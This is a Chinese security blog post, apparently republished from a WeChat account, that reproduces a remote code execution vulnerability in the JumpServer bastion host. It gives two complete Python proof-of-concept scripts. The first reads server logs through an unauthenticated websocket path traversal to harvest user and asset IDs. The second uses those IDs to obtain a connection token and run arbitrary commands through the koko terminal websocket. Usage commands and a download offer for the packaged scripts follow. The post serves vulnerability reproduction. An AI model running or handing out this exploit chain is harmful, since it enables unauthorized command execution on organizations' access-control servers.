【堡垒机 | 附PoC】Jumpserver RCE 漏洞详细复现

  • A+
所属分类:安全文章

点击蓝字 ·  关注我们

01

前言

 JumpServer 开源堡垒机部署广泛,遵循GNU GPL v2.0开源协议,是符合 4A 的专业运维安全审计系统

【堡垒机 | 附PoC】Jumpserver RCE 漏洞详细复现


 网上公众号&&大佬的分析文章已经很多了,参考了360安全忍者师傅的分析以后,替大家踩踩坑做一下复现。

02

流程

1.通过ws连接jumpserver的未授权api,进行日志读取 获取 (system_id,target_id,system_user_id)2.利用 /api/v1/authentication/connection-token/?user-only=1  获取token (此token 20s内有效)3.通过ws 连接 /koko/ws/token/?target_id  带入刚刚获取的token_id 进行执行命令

 

03

获取日志

#进行日志读取 获取 (system_id,target_id,system_user_id)import asyncioimport websocketsimport jsonimport reimport systry:    ip=sys.argv[1]except:    print("example: python jumpserver_getlog_edi.py 127.0.0.1:8080")    exit()async def send_msg(websocket,_text):    print("##########send payload")    print("##########wait some time")    await websocket.send(_text)    recv_text = await websocket.recv()    print(recv_text)async def main_logic():    async with websockets.connect(f"ws://{ip}/ws/ops/tasks/log/") as websocket:        _text = json.dumps({"task": "../../../../../../../opt/jumpserver/logs/gunicorn"})        await send_msg(websocket,_text)        while True:            recv_text = await websocket.recv()            recv_text=json.loads(recv_text)           # print(recv_text['message'])           #print(len(recv_text['message']))            if '/api/v1/perms/asset-permissions/user/validate/' in recv_text['message']:                pattern = re.compile(                    '/api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=(?P<asset>.*)&cache_policy=d&system_user_id=(?P<system_user>.*)&user_id=(?P<user>.*) HTTP/1.1" 200 12')                s = pattern.search(recv_text['message'])                print(s.groupdict())            if len(recv_text['message']) < 100:                breakasyncio.get_event_loop().run_until_complete(main_logic())print("end")

04

执行命令

执行命令(刷取token,执行)

import asyncioimport websocketsimport requestsimport jsonurl = "/api/v1/authentication/connection-token/?user-only=None"async def send_msg(websocket,_text):    if _text == "exit":        print(f'you have enter "exit", goodbye')        await websocket.close(reason="user exit")        return False    await websocket.send(_text)    recv_text = await websocket.recv()    print(f"{recv_text}")async def main_logic(cmd):    print("#######start ws")    async with websockets.connect(target) as websocket:        recv_text = await websocket.recv()        print(f"{recv_text}")        resws=json.loads(recv_text)        id = resws['id']        print("get ws id:"+id)        print("###############")        print("init ws")        print("###############")        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{"cols":164,"rows":17}"})        await send_msg(websocket,inittext)        for i in range(4):            recv_text = await websocket.recv()            print(f"{recv_text}")        print("###############")        print(f"exec cmd:{cmd}")        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"rn"})        print(cmdtext)        await send_msg(websocket, cmdtext)        for i in range(4):            recv_text = await websocket.recv()            print(f"{recv_text}")        print('#######finish')if __name__ == '__main__':    try:        import sys        host=sys.argv[1]        cmd=sys.argv[2]        if host[-1]=='/':            host=host[:-1]        print(host)        data = {'asset': '6d519570-b89c-495b-bffb-f958cccaaf4c', 'system_user': '3ced8e58-8a88-4389-93cb-0bf718e8e22e', 'user': 'e6b344c0-682e-4e5c-845a-fb064e7bf673'}        print("##################")        print("get token url:%s" % (host + url,))        print("##################")        res = requests.post(host + url, json=data)        token = res.json()["token"]        print("token:%s", (token,))        print("##################")        target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token        print("target ws:%s" % (target,))        asyncio.get_event_loop().run_until_complete(main_logic(cmd))    except:        print("python jumpserver.py http://127.0.0.1 whoami")

05

复现


0x01

python jumpserver_getlog.py 127.0.0.1:8080

获取所用的三个ID

【堡垒机 | 附PoC】Jumpserver RCE 漏洞详细复现



0x02

替换RCE脚本的ID 53行处

【堡垒机 | 附PoC】Jumpserver RCE 漏洞详细复现


0x03

python jumpserver_rce.py http://x.x.x.x:8080/  "ls -al"

【堡垒机 | 附PoC】Jumpserver RCE 漏洞详细复现

看到这个就执行成功啦

00

Tip

修改后的脚本打包了,懒得复制的同学可以直接 回复 "EDI0118"下载

【往期推荐】

未授权访问漏洞汇总

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

记一次HW实战笔记 | 艰难的提权爬坑

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

走过路过的大佬们留个关注再走呗【堡垒机 | 附PoC】Jumpserver RCE 漏洞详细复现

往期文章有彩蛋哦【堡垒机 | 附PoC】Jumpserver RCE 漏洞详细复现

【堡垒机 | 附PoC】Jumpserver RCE 漏洞详细复现

本文始发于微信公众号(渗透Xiao白帽):【堡垒机 | 附PoC】Jumpserver RCE 漏洞详细复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: